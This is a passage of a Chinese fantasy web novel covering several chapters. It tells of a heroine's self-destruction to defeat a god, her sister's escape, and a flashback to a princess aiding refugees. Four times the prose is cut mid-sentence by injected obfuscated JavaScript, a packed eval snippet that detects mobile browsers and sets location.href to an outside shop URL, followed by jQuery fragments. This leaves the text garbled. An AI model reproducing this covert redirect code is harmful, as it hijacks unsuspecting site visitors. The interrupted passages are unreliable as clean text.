瓶身破碎的一瞬间,有星光从裂纹处逸散,白色的小虫扇动着翅膀飞出,触碰到黑雾后立马化为了碎屑,被风一吹便消失得无影无踪。 “果然,你们在利用星魂虫复活慕北辰。”他若有所思地注视着被黑雾碾为了碎屑的小虫,然后将目光一转,望向从不远处飞来的瑾瑜,笑着道:“一百年过去了,那么多的星魂虫也没能复活他,你师父怕是死透了吧。” 瑾瑜飞身接住自空中跌下的老人,嘱咐她立刻躲起来,随后掠空而上,与他相对而立。 她注视着他,眼中没有丝毫惧意,“大言合虚神,一百年过去了,你的伤都养好了?” “没有养好,当年你师父将我伤得太重,险些斩灭我的神魂,这种程度的伤没有几百年的工夫是养不好的。”没想到这位大言合虚神倒十分诚恳,将自己的真实情况和盘托出。回答完瑾瑜,他忽而将笑容一敛,“不过,即便我旧伤未愈,将你打回子玉原形收入囊中为我所用,也不过是顷刻间的事。” 瑾瑜凛了神色,掌心微动,指尖凝聚起银色光华。 “劝你不要轻举妄动。”大言合虚神重新将目光望向桃林,“我那日在合虚感受到的并非你的气息,这小华山上还有一枚子玉吧?早听说你还有一位孪生妹妹,如今我是不是该贺你们姐妹相聚之喜?” 听完此言瑾瑜怔在原地,她下意识也将目光投向桃林。 ——婴垣,她曾去过合虚?! 片刻之间她便理清思路,明白过来眼前发生的一切到底怎么回事。 婴垣何故突然转变了态度,又为何自行解开掩盖气息的禁制…… 那日她之所以会在山脚遇见婴垣,而婴垣之所以会神色慌张…… 她的脸色瞬间变得苍白。真相令她难以接受,但事实就摆在眼前。 是婴垣故意在合虚暴露了子玉气息,将大言合虚神引到此处来的。 “原本我只是想炼化了你,借你自母玉中孕育的生机一用,这是你我之间的事,与他们都无干系。”大言合虚神扫一眼居住在小华山中的生灵,他的语气一直是倨傲的,不过此刻声音里多了些柔和,很有几分蛊惑之意:“甚至,我还可以放过你的妹妹,只要你愿意帮我这个忙。” “师父当年舍命保我,你以为今日三言两语,便可令我自甘堕落?”婴垣之举的确令瑾瑜伤神了片刻,不过她很清楚,自己此时正在面对强敌,现在不是脆弱的时候,“我不惧你的威胁,宁死也不会屈服。” “很好,你不怕死,那么她呢?”大言合虚神伸出手,自虚空中朝着桃林一握,巨大的威压从他掌心发出,逼得藏身在桃林中的人不得不往外逃窜。他微微昂起头,居高临下地俯视着桃林,“是你自己出来,还是让我帮你一把?” 已被摧折得不成样子的桃林中,婴垣终于现身。 她有些狼狈地举目四望,面上满是悔意。 是的,是她引大言合虚神来到此处的。可她万万没有想到,传说中的后神竟这样强大。 她知道当强敌来袭,姐姐一定会守护小华山中的生灵,也一定会让祁颜带着她离开此地,永远不要回来。 如此,她便可以永远同祁颜在一起了。 这段时间她总是缠着瑾瑜,便是因为她知晓倘若计划成功,大言合虚神真的来到此处,那么她与瑾瑜相处的时光就只剩这么几日了。 所以她是真心的,真心与瑾瑜相处,也真心唤她姐姐。 原本这一切都在她的计划当中。按照她的计划,大言合虚神会来到小华山与瑾瑜对峙,但因旧伤未愈,他无法攻破瑾瑜布在山中的阵法,只能守在山外伺机而动。 她记得忘忧说过,瑾瑜已经到了突破的关键时期,既然大言合虚神伤得那么重,那在他痊愈之前,瑾瑜应当有足够的时间进行突破,到那时,他便不一定是她的对手了。 这个计划已在她的脑海中演练了上千遍,她考虑到了每一步可能会有的风险,却偏偏没有想到,后神的实力远远超出了她的想象。 四海八荒实在太大,而她所见过的强者委实太少。 “姐姐……”她望着瑾瑜的背影,将手攥成拳藏在袖中,低声唤着姐姐。 可瑾瑜并未回首瞧她。 小华山中的黑雾愈发的浓,悬在空中的太阳所发出的光芒愈发冰冷,瑾瑜的目光始终紧紧锁在大言合虚神的身上,“不妨告诉你一件事情,我此生最恨被人威胁。” 瑾瑜话音方起,天边寒光乍现,万千星光闪烁,在瑾瑜拂袖一挥间化作万柄利剑,剑尖直指敌人,每一柄剑都散发着腾腾杀意。 大言合虚神冷哼一声,手掌在空中轻轻一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712395|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拂,万钧之力瞬间朝地上的婴垣砸去。 瑾瑜正要分神去救,却见一道白色的光芒闪过,生生卸了那道力。是祁颜帮助忘忧安顿好桃林中受伤的人,及时赶了过来挡在婴垣身前。 “带婴垣离开。”瑾瑜无法再分散心神关注他们二人,此刻她必须将全部的注意力都放在大言合虚神的身上。 祁颜恍若未闻,还欲飞身而起,想要与她并肩作战,却闻风声呜咽,风中传来她轻而坚毅的声音,“还记得我同你说过,三世之前你于我有救命之恩,其实那时你所救的并非独我一人,而是你力之所及能够护住的所有人。那时我便发誓,有朝一日定要成为你那样的人。” “你和婴垣离开此地,别把性命枉费在这里。”这是她对他说的最后一句话。 祁颜望着她的背影,闭上眼沉默了片刻,然后转过身一言不发地带婴垣离开。 反倒是婴垣宁死不肯走,她拼命地想要推开祁颜,死死攀住祁颜的胳膊,将手伸向姐姐的方向。 可是近来发生的一切已经耗尽了她的心力,她忽然间觉得自己失去了所有的力量,只能任由祁颜带着她离开。 目眦欲裂间,她看见瑾瑜双手拈决,银色光华如流星如火焰在她指尖跃起,狂风卷得她衣袍猎猎,好像下一秒就要将她吞没在滔天的浓雾中。 她不忍再看,流着泪缓缓闭上了眼,被祁颜带离了小华山。 大言合虚神抬首望一眼悬在他头顶的万柄利剑,嗤笑一声道:“你不会天真到以为自己是我的对手吧?” “当年师父曾用星辰之力斩你,今日我一样可以斩你。”瑾瑜催动法诀,利剑在星光缭绕间俯冲而下。 大言合虚神仅仅将手一抬,便瞬间止住了利剑的攻势,不仅如此,他略一发力便让原本缭绕在剑身上的星光开始退散,每一柄剑都嗡鸣着颤抖起来,有的剑身还出现了道道裂痕。 他的语气依旧不屑一顾:“你所使的星辰之力与慕北辰相比,根本不可同日而语,他尚且无法杀我,你安能伤我一根毫毛?” 眼下的情况已是再明显不过,他只是抬手抵挡而已,尚未催动法力,这万柄利剑于他而言不过弹指可破。 瑾瑜忽然笑了,她的笑容很好看,但在此情此景下,未免显得有些诡异,“神君,你应当比我清楚,今日的动静定然会闹到九重天上去。” 大言合虚神听到九重天三个字,眼中流露出厌恶之意,他不耐烦地反问了一句:“那又如何,你难道还等着天上那帮酒囊饭袋来此地救你?” 瑾瑜摇了摇头,此刻她的语气一如他方才那般诚恳:“婴垣他们应当已经走远,你若再大张旗鼓去追,再惹得生灵涂炭,九重天定不会坐视不管。”便在大言合虚神不解她为何突发此言时,瑾瑜目光中浮现起决绝之意,她长长地叹了口气:“我无后顾之忧了。” 随着叹息声止,那悬在空中的利剑忽而掉转了方向,剑尖不再朝着大言合虚神,而是齐齐转向正在驱使它们的主人。 44. 桃花盏 万柄利剑淬成的寒光犹如星辰璀璨,瞬间照亮了这一座被黑雾所笼罩的山脉。只是在那瑰丽的星光之中,蕴含着令人万劫不复的杀意。 “你竟敢自毁。”大言合虚神眸光一凛,抬手欲阻止瑾瑜,可已然来不及了。 在他将手伸向瑾瑜的一瞬间,那万柄利剑也以极快的速度,如流星划过天边,穿过了瑾瑜的身体。 与此同时青色的火焰在她周围燃起,它们似乎想要保护主人,却在充满杀戮之意的剑气下摇曳明灭,最后还是支撑不住,随着瑾瑜一起破碎为点点星光。 “师父!”桃花林中,忘忧嘶吼一声,跌跌撞撞地朝着瑾瑜正在消散的身影奔来。 听到忘忧的呐喊,瑾瑜想要睁眼去看,可是她的神魂已经开始涣散,这一具肉身也逐渐消散于天地间,她的思绪和目光都已有些模糊,她无法再看清忘忧的脸。 忘忧狂奔至瑾瑜跟前,颤抖着双手施法,想要将瑾瑜正在四散的魂魄重新聚拢。可惜一切都是徒劳,好像细碎的沙从指间流过,她也无法握住瑾瑜残损的魂魄。 大言合虚神看着眼前这玉石俱焚的一幕,忽而冷笑几声。 她竟真敢自毁。 以这样惨烈的方式,坚定地踏上死路,不给自己留任何余地。 “我寻到此处,其实很是辛苦。既然你用这样的方式让我无功而返,那就不要怪我踏平整座小华山,再将你的徒儿带回合虚,以她的精血炼丹。”很少有人能够将他置于这般被动的境地,瑾瑜此举显然彻底激怒了他。他怒极反笑道:“毕竟你自己选择了死亡,死人是没有办法保护任何人的。” “忘忧……”破碎的星光中,瑾瑜缓缓向忘忧伸出了手。可她们无法触碰到彼此,瑾瑜的身形还在消散,便连声音也开始变得模糊:“师父曾经同我讲过,星辰之力本就是为了守护而生。他曾让我感悟,有时候杀戮,正是为了守护。那时我不明白……” 瑾瑜似乎是在微笑,她笑着望向眼前的虚空,空中有繁星闪烁,她从未见过这么美的星空。 “我以星辰之力,施以灵魂咒术,不复往生,不入轮回,生生世世守护此地。若有来人敢犯,四海八荒,穷天极地,万千星辰共诛之。” 这是瑾瑜在这世间所说的最后一句话。 说完这句话后,她彻底消失在空中,所余下的点点星光驱散了黑色的浓雾,血红的太阳恢复了正常,将温暖的光照耀在小华山上。 神域被击碎,大言合虚神向后退了两步,呕出一口血来。 他有些不可置信地缓缓低下头,抬手将血痕抹去。鲜艳的血在他苍白的指间显得格外刺目,他眯了眯眼,似乎有些费解。 什么样的人才会做出这样的事? 以燃烧灵魂为代价所施展的咒,是这天下唯一不可解的咒术。 因其代价太大,施咒者将失去轮回转世的机会,灵魂将生生世世被囚于咒术之中,所以四海八荒之大,会施展此咒者近乎绝迹。 却没想到,今日竟让他亲眼见到了。 罢了。不过是一枚子玉。 想要复活阿媱,总还有别的法子。 他扫了一眼哀痛欲绝的忘忧,冷笑一声,负手转身离去。 如瑾瑜所言,小华山的这一场动静实在闹得太大,很快便有九重天上的人下来探查。 大言合虚神就此掩了踪迹,不知是回到了除他之外无人能够涉足的栖息之地合虚,还是去往别处寻找可以替代子玉功效的宝物。 总之,他从此销声匿迹,也未曾继续追杀婴垣。 婴垣在祁颜的保护下一路奔逃,不知逃了多久,终于来到了远离小华山的羭次山中。 在两人刚刚踏上羭次山,确定已没有危险的时候,祁颜便支撑不住化为了原形。 他早先在小华山上替婴垣抗下一击,那时就伤到了本源,这一路上护送婴垣都是在咬牙强撑。如今婴垣既已安全,他便再也支撑不住,无法继续维持化形。 婴垣将祁颜所化的桃花枝收进怀中,独自一个人,茫然地在山中行走。 到了夜间,大雨倾盆落下,而她似乎已失去了所有的知觉,就这么麻木地继续淋着雨漫无目的地走。 一位山精婆婆藏在林中观察了她许久,见她一直淋着雨也不知道躲,抬手从树上摘了一片大叶子,试探地走到婴垣身边,将叶子盖在了她的头上。 婴垣这才回过神来,她转头望着给她盖叶子的山精婆婆,抿了抿嘴,仰头哭出声来。 她就这样一直哭一直哭,哭到夜雨渐息,天蒙蒙亮了起来。 朝阳温暖的光芒洒进林间,驱散了她一路行来的黑暗,从此她带着祁颜留在了羭次山中。 忘忧在时光长河中愤懑地注视着婴垣,看着她在山中寻找灵气充沛之地,辛苦地为祁颜施法固魂,想要助他早日重新化形;又看着她为了保护山中老弱,好几次与羭次山神正面对抗;最后看见她为了守护祁颜与山中生灵,以肉身生抗山神之火,陨落在了天君法旨之下。 看到这里,她原本充满怒气的眼中多了些不忍之意。 “师父。”她的声音有些颤抖,听起来痛苦又纠结:“可我还是没有办法原谅她,我没有办法因为她之后做的这些事,原谅她从前对您的所作所为……” “忘忧,你所说的之后是多久之后,所谓从前又是多久之前?”瑾瑜声音依旧柔和,带着几分安抚的意味。 忘忧思考了一会儿瑾瑜的问题,心里想说自然是婴垣离开小华山前后的事,但又知晓瑾瑜特意如此问,那么答案定然没有这么简单,于是抿了抿嘴,没有说话。 “天下修仙之人所必修的一道关卡,即是放下我执。忘忧,修仙之路漫漫,这一路上将会遇见多少人,发生多少事,若沉溺在执念之中,便只看得到眼前,而无法超脱于外。”瑾瑜将袖一拂,催动着这一段时空长河的投影加速逆流,“不妨跳脱这百来年间的事,我们去三百余年前看看吧。” 随着时间的加速,许多流淌在时间中的人和事飞速地在忘忧等人眼前掠过。 他们看见一段又一段爱恨情仇的生灭,甚至看见一个又一个王朝文明的兴起与覆灭,无论是渺小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712396|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是宏大,在时间面前一切都很公平——注定所有的人事物都将在时间的长河中化作尘埃。 终于,时间流淌的速度逐渐变缓,最后定格在了三百多年前的古水国。 彼时古水国尚未灭亡,但应当已经在饱受战乱之苦,映入众人眼帘的皆是战争带来的破败与荒凉。 初春之际的国都京郊,原本应当是一派充满生机的景象,可此时的古水国面对强敌围攻已然岌岌可危,城池接连失守,大批难民逃到京郊来以求庇护,所以此处便是这样一副人间惨象。 与衣不蔽体的难民形成鲜明对比的是一副自京郊山脚蜿蜒行来的皇室仪仗。三排身着锦衣的宫人并行,为身后的四乘马车开路。虽是白日里,他们的手中也都各提着一盏灯笼,那灯笼里燃烧着的显然不是寻常的蜡烛,不仅异常明亮,还散发着淡淡幽香。 仪仗两侧还有手持长剑的宫廷侍卫,都是专程调来保护皇室成员的宫中高手,每当有难民稍稍动弹一下,做出疑似上前一步的动作,便有人将长剑一抖,剑光凛冽地在他们跟前一晃,便吓得他们退缩到老远之外。 难民们只能眼巴巴地看着那富丽堂皇的仪仗渐行渐远,他们眼中似乎没有愤怒,甚至连一丝羡慕也没有,每个人脸上都是饱经苦难之后的麻木。 突然,走在仪仗中最前面的那辆马车被人唤停,宫人们也止住了步伐,提着灯笼朝两侧有序分开,恭谨地垂下脑袋。 后面的马车随之停了下来,随侍在车架之侧的宫人赶忙上前跪伏在地,让马车上的大人物踩着他的背走下来。 从第二辆马车上下来的是一位黑衣老者,他的衣袍很是肥大,黑色的锦衣上密密麻麻绣着以金线勾勒而成的羽毛。 他在宫人的搀扶下走向为首的那辆马车,对着车窗拱了拱手道:“公主,京郊都是些暴民,我们已经快要进城,为了您的安全考虑,请您勿要下车。” 他的话还没有说完,一个年轻女子便掀开车帘,自行从马车上走了下来。 她不下车还好,这一下车众人才发现,她的衣着打扮比那金线锦衣的老者还要奢华百倍不止。 她身上的那套红色衣裙不知是以何种布料裁成,每一寸都在阳光下熠熠生辉,衬得她整个人都在闪闪发光。宽大的衣袖裙摆处同样以金线勾勒,有别于那位老者的是,她衣裙上的金线是单独织成了羽翼,一片一片地缀在衣裳上。如此奢华,想要制成这一件衣裳,怕是要耗费举国之力。 然而最为奢华的还并非这一套衣裳,而是她头上的金丝流苏冠。珍珠与金线交错着坠在她的额前,还有红色的宝石与绿色的碧玺点缀期间,够寻常人家一辈子开销的至珍至宝,放在她的头上也不过是用以点缀凤冠的边角料而已。 她就穿着这样一身衣裳,带着这样一头首饰,站在衣不蔽体的饿殍难民中间。 这一幕给人的视觉冲击实在太大了,时空之外旁观着这一幕的青鸾突然间不觉得古水国的灭亡令人惋惜了。 不仅不令人惋惜,她甚至觉得它根本是自取灭亡,它若不灭亡简直是天理难容。 45. 桃花盏 春日的阳光和煦温暖,锦衣华服的公主抱着一个匣子立在京郊官道中央,她站在明亮得有些刺眼的日光里,身侧则是瑟缩在阴影中的百姓。 天上地下,何止是云泥之别。 她就这样静静地站在原地,一动不动地打量着眼前的一切,面色凛冽如冬日寒霜。 “公主,您在此时唤停车驾,若是耽误了迎请金鸾入宫的吉时,老臣与您都无法向陛下交代。”那黑袍老者眼见无法说动公主,便干脆不再以此地危险为由劝说她,而是换了一个法子,语气里多了些威胁之意。 他们此行本就是去京外的祭台为国祈福,以金银圣水洗金鸾,以天材地宝行祭祀,希望能让金鸾恢复传说中的巨大法力,助古水国击退强敌。 被他们寄予厚望的金鸾乃是古水国开国大祭司的本命法器,传说那位大祭司不仅善治国与兵法之道,其本身也是位境界颇高的修士,拥有无上法力。他所持金鸾乃是一个杀伤力极强的法器,因此即便在他陨落之后,各国忌惮于这一强大法器,也不敢对古水国土有任何觊觎之心。 可惜不知是不是金鸾乃他本命法器的缘故,自开国祭司陨落后,法器的灵力一年比一年弱,百年之后甚至失去了所有的法力,如今的它与一件寻常的金器无异。 如今古水国遇到了百年未有之劫难,城池失守,饿殍遍地,眼看着将有亡国之危,于是皇室上下朝野内外,都将这法器金鸾视为最后的救命稻草。 从十年前开始,古水国每年都会行祭祀之礼,希望求得上天的庇护,希望金鸾能恢复法力,拯救万民于水火。 作为国君的嫡长女,古水国唯一有封号的长公主,她自八岁起便手捧金匣,代表全体皇室成员执金鸾行祭祀礼。祭祀过程中的每一个环节每一个步骤她都了然于胸,她比任何人都清楚吉时不可误。 可是她还是叫停了马车,立在原地不肯离去。 那黑袍老者还欲说话,却被她抢先一步问道:“大祭司,你说他们皆是暴民,那么请问暴从何来?” 大祭司听她如此发问,瞥一眼四周的难民,不屑地冷哼一声:“公主,他们之所以还没有暴动伤人,乃因我们有宫廷侍卫守护,倘若没了这些侍卫,此刻眼前就不是这般光景了。” 公主追问:“那依你所言,会是何光景?” 大祭司面上依旧恭谨,语气却已有些不耐烦,他加快语速道:“如若没有侍卫守护,他们定会暴起抢劫,谋财害命。您方才问暴从何来,我可以告诉您,暴从永无止境的贪欲中来。” 公主不再问话,而是沉默地注视着眼前的难民,良久,她才缓缓点了点头,“很好,你说得对。” 说完这句话,她头也不回地抬步向人群走去。 大祭司瞬间变了脸色,抬手一挥,宫廷侍卫便齐齐上前拦住了她。 与此同时公主的贴身近侍也拔剑上前,与他们形成对峙之势。 分明都是保护公主的人,此刻却很有些剑拔弩张的味道。 在浓烈的火药味中,公主平静地转过头来,与身后的大祭司对视。 她微启双唇,声音很轻,却带有一股不容侵犯的威严之意:“大祭司,你这是要限制本宫的自由吗?” 大祭司目光如炬,紧紧盯着公主,与她对视半晌后,终于将眼皮垂下,恢复了恭谨的姿态,弯下腰道:“老臣不敢,侍卫们也只是为了保护您的安全而已。” 说完他微微抬眼,捂嘴咳了几声,那些宫廷侍卫随即散开,不再挡在公主跟前。 大祭司远远望着她的背影,看着她一步一步走向难民,眼中浮现起藏都藏不住的不屑之意。他倒要看看,这位公主是要做些什么。 却见她已经走入了人群之中,竟还没有停步,而是继续向前走着,一直走到一个年纪与她相仿的女孩跟前,才缓缓停下步伐。 那女孩显然是饿了许久,小小一个缩在人群之中,瘦得皮包骨头,头发枯黄如杂草。她那一双眼睛因为长久的饥饿而深深地凹陷进眼眶里,此刻正一动不动地注视着向她走来的公主,眼神里有些茫然,还有些惊惧。 公主走到她的面前,蹲下身与她平视,轻轻地问了一句:“多久没吃饭了?” 女孩似乎没有反应过来,呆呆的没有回话,直到公主抬手抚上她脏兮兮的脸颊,重新又问了一遍,她才瑟瑟发抖地回道:“三天。” 公主点了点头,问了第二个问题:“你的父母呢?” “父亲战死了。”女孩眨了眨眼睛,泪珠从凹陷的眼眶里滚了出来,“我的母亲被那些拿着刀的人抓走了。我从镇上逃出来,和我同行的人都不在了……” 公主招了招手,示意侍女将马车中的水取来。将玉制的水壶递至女孩嘴边,待她仰头痛饮之后,公主最后问道:“你叫什么名字?” 女孩因喝得太快,被水呛了好几口,却又实在太渴,一边咳嗽一边喝,直到将一整壶水都喝完,她才水壶递还给侍女,怯怯地回答自己的名字:“我叫樱儿。” “樱儿。”公主重复了一遍她的名字,然后牵起她的手,将她交给身后的侍女,“以后你就跟着我吧。” 站在后面的大祭司抽了抽眼皮。 他当然是想阻止公主的,同时还想提醒她不要忘了自己的身份。她可是古水国尊贵无比的嫡长公主,怎么能这样不顾身份地蹲在贱民跟前,甚至还去牵对方的手? 不过转念一想,她毕竟也没有做什么出格的事,只是捡了个孤女做自己的侍女而已。说到底这都是她自己的事,他倒也没有必要管这么多。 况且…… 他扫了一眼紧紧跟随在公主身后的近侍,回想起方才剑拔弩张的一幕,干脆将一肚子的话憋了回去。 今天是他第一次意识到,眼前的这位公主已不是十年前那个什么也不懂,只会对他言听计从的小女孩了。 小不忍则乱大谋,罢了。 然而,令他万万没有想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712397|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到的是,上一秒他还在自己说服自己,公主毕竟没有做什么出格的事情,下一秒就见到她俯身在另一个难民面前蹲下,同那人说了几句话后,她抬手摘下了自己华丽凤冠上的一颗珍珠,递到了对方手里。 然后她站起身,走到另一人跟前,再次抬起手,毫不犹豫地从凤冠上摘下一颗宝石,同样递到了那人手里。 大祭司张了张嘴,愣住了。 公主就这么一路走,一路将自己衣裳上的金叶和凤冠上的珠宝全都摘下来给了那些逃难的人。 可是难民实在是太多了,即便公主将身上的值钱之物都散了出去,也还是有很多人没有拿到。他们纷纷涌了上来,聚集在公主的周围,一边俯首磕头,一边哀声恳求。 大祭司咬牙切齿地望着这一幕:“贪欲,这些人的贪欲永无止境。” 他原本想制止公主的,可现在他负手旁观,偏要看看公主该如何收场。 却见被人群包围住的公主并未露出丝毫怯色,她转首望了身边的侍女一眼,朝她们点了点头。 侍女们将随身带着以备公主不时之需的金银都散给了难民,然而这些金银还是不够,于是她们效仿公主,将身上的钗环首饰也都散了出去。 如此一来绝大多数人都有所得,只剩下一些老弱妇孺瑟缩在角落。他们当中有的人是不信任公主,还有的人是不敢上前争抢,只能眼巴巴地坐在原地。 公主将目光落到他们身上。 脑海里莫名响起一个声音:他们不曾伸手索要,可她还是要给。 这么想着,她抬步走向他们,站在他们面前静默了一瞬,她打开手中的匣子,将祭祀祈福的金鸾取了出来。 “公主不可!”身后的大祭司再也稳不住了,他慌里慌张地喊了一声,却被公主的近侍拿刀抵住了脖子。 宫廷侍卫们见此异动,纷纷拔剑指向那近侍,却被大祭司摆手拦下。 那柄刀显然是开过刃杀过人的,此刻横在他的脖子上散发着森森寒气,他毫不怀疑自己倘若敢轻举妄动,这把刀真的会砍下他的脑袋。 犯不着把命丢在这里。 便在这一阵混乱之中,公主已将金鸾的羽毛拔下,全都送了出去。 她回过身冷冷地注视着大祭司,风吹起她的裙摆,那上面已没了金饰的点缀,因此变得薄而轻盈,可以自由地在风中摇曳。 “听本公主令,自明日起京城需在每日的限定时辰内向这些逃难百姓开放,允许他们持手中之物进城交换粮食。这件事情就交给大祭司去办。”她的声音比她的目光还要冷峻,说完这句话后她仍旧直直地注视着大祭司,并没有让近侍将横在他脖子上的刀放下。 果然如她所料,大祭司一口拒绝,满脸的视死如归:“公主,您方才将金鸾拆了分给他们,此举本已犯了叛国之罪,老臣怎还敢依您之令向这群人开放城墙?这群刁民自会有人捉拿,至于您之所为,陛下也自会裁决,老臣恕难从命。” 46. 桃花盏 风越来越大,似乎要将天边的云都扯碎了扔下来。 时间一分一秒地过去,天色逐渐变暗。 大祭司现在也不是很关心继续僵持下去是否会耽误吉时了,毕竟就连祈福的金鸾都能被公主拆了送人,是否误了吉时还有什么所谓呢? 这一场对峙还在继续。 公主歪头注视着大祭司,看着他一脸视死如归的模样,突然扬唇而笑:“大祭司,即便父皇知晓了今日之事,你以为他又能怎么做呢?是在这内忧外患之际继续出兵镇压你口中的这群刁民,还是以粮食为代价交换他们手中所持之物?” “你以为,他会怎么做。”她重复问了一遍,不过这次已不是疑问的语气,而是如方才那般不容置疑:“既然横竖都是一样的做法,你不如依本公主令,直接去做就是了。” 大祭司坚定地摇头,正想表一番忠心,极言自己只听从古水国君之令,却闻公主再出狂悖之语:“况且那金鸾失去法力已有几十年,而我们行祭祀之礼也已整整十载,这些年我们砸入这么多的人力财力大行祭祀之事,可曾见到金鸾恢复法力?” 顿了顿,她扬声道:“大祭司,我想你们比谁都清楚,这些年来砸进去的金银到底是满足了谁,为何这么多年大家的眼中只看得见鬼神而看不见苍生。但今日我看见了,我看见这个国家的子民食不果腹衣不蔽体,那便不能坐视不理。既然金鸾已没了法力,那么与其年年耗费金银为它祭祀,不若舍了它让百姓们吃一顿饱饭。” 站在公主身后的樱儿听见这一番言论,觉得陌生,又觉得震撼,她懵懵懂懂地看着眼前这一幕,揉揉眼睛,才发现自己已是满脸的泪。 大祭司佝偻着背,默不作声地盯着公主,他似乎也是被公主这番大逆不道的言论给惊到了,于是不再言语,妥协般闭紧了嘴。 公主扫视了一眼神色各异的宫人们,提着裙摆踏上马车,“回宫。” 樱儿被公主唤来坐在同一辆马车上,从坐上马车的那一刻开始,她就一直僵硬地把背挺得笔直,两只手紧紧攥成拳头,乖巧地放在膝盖上。 镶嵌在车壁上的夜明珠、柔软的金丝鹅羽垫、散发着幽幽香气的名贵香料,还有眼前这位尊贵的长公主,这一切都令她坐立难安。 公主闭目养神了一会儿,在快至城门的时候,她缓缓睁开眼睛望向樱儿。 樱儿紧张地咽了口唾沫。 公主问她:“你很怕我?” 樱儿摇头:“我知道您对我们好,我不怕您。只是……您是公主。我从没有想过会见到公主,还能和您坐在同一辆马车上。” 公主闻言笑了笑,她重新闭上眼睛,良久,悠悠地叹了口气:“他们不明白,若没有了你们,我们什么也不是。” 樱儿被这话绕了进去,她不是很明白公主所说的他们指的是谁们,又恍恍惚惚的不是很敢相信,公主口中的你们难道是指她和同她一起逃到郊外来的难民们。 她从没有听过这样的言论,所以她根本就无法理解。 公主再次睁开眼睛望向她,朝她俯下身正色道:“你可知我为何要带你走?” 樱儿懵懂摇头。 公主望向她的眼神里多了些柔和之色,她的语声也很轻柔,但在樱儿听来这轻柔的声音却是充满了力量:“因为我在你的眼里看到了不服输的坚韧,若没有这一份坚韧的心气,恐怕你也是无法从镇上逃难至京郊来的。” 她继续说道:“这世间每一个坚韧不拔的人,都会受到上苍的眷顾。所以不是我选择了你,而是你自己没有放弃你自己。” 樱儿仍旧用懵懂的眼神回望着她,不过她已不再像方才那样畏畏缩缩,思考了一番公主所说的话后,她咬咬唇道:“我不明白您说的。但是我好像能听出来,您是想让我不要感谢您,而是要感谢我自己,对么?”又咬了咬嘴唇,她轻轻地道:“不过,无论如何,我都一定是要谢您的。” 公主扬起唇笑了笑,她不再说话,转头掀开帘子,望向窗外已经擦黑的天空。 不知是不是错觉,她掀开帘子时仿佛看到一道黑云正以不同寻常的速度朝他们的仪仗飞来,盯着那黑云瞧了一会儿,她确信那不是自己的错觉。 那是什么东西? 就在她准备唤马车外的侍卫时,那道黑云从天边跌落,直直地朝她的马车砸来。 这时她才看清,那根本不是什么黑云,而是一道黑色的身影。 这道身影从那么高的空中落下,却并没有摔得粉碎,可见此人不凡。能够以炁护体,要么是有一定修为的精怪,要么就是人类修士。 这突如其来的变故再次让仪仗队伍停下了进京的步伐,大祭司郁闷地将脑袋从车窗里探出来,看见公主同样掀开车窗的帘子,正攀着窗棂望着地上一个浑身是血的人。 这是又招来了什么奇怪的人? 他眉头皱成一团,干脆眼不见心不烦,重重放下帘子,把头缩了回去。 那地上的人死死攥住车轮,像是在阻止马车继续前进,又像是想借力支撑起身子,也或许两者都有。公主耐心地注视着她的动作,示意近侍们先按兵不动。 过了一会儿,那人终于艰难地抬起头来望着公主,从牙缝里挤出两个字:“救我……” 她的脸上和胳膊上有数道伤痕,每一道都狰狞可怖,并且似乎新伤旧伤叠加在一起,新伤牵动着旧伤,旧的伤势则加重着新伤,它们正在迅速地夺走她的生命。 这些都还只是看得见的地方。 公主将目光望向她被黑色劲装包裹着的身体,可以看出她的腿和胳膊都已骨折,甚至脚筋都有可能已被人挑断,虽然她身上穿着的是黑色的衣服,但还是能看到有鲜血正从衣服下面浸出。 真不知道她是发生了怎样的打斗才会受如此严重的伤,也不知道她是凭借着怎样的意志力才能撑到现在来求救的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13720166|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公主将目光从她身上移开,重新对上她的眼睛。 便是与之对视的那一瞬间,她心里有了答案。 她从未在一个人眼中见过如此强烈的求生意志。 死亡分明如影随形,可是对方好像对它关闭了大门,倔强地、固执地、坚定地抓住任何一丝可能是生的希望。 